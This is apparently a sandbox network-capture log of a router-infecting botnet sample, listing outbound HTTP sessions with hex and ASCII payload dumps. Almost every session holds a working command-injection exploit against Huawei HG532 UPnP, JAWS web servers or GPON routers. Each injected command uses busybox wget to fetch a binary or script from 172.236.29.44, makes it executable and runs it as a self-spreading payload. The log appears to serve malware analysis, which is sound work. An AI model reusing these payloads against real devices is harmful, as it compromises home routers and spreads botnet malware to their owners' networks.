73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	43442	41.66.252.94	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.916543007 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	33508	197.91.13.215	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.945072889 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	50646	25.246.143.164	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.976999044 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	54670	74.67.219.248	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.979191065 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	49846	197.128.232.182	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.008958101 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	50496	197.77.141.197	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.011023045 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	43582	156.162.153.5	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.040971041 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	42138	197.190.157.186	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.073185921 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	47872	197.142.233.40	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.104888916 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	48352	41.53.162.133	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.107405901 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	59662	41.61.10.200	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.109963894 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	60928	212.60.66.16	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:44.135679960 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	46866	41.167.85.71	37215

Timestamp	Bytes transferred	Direction	Data
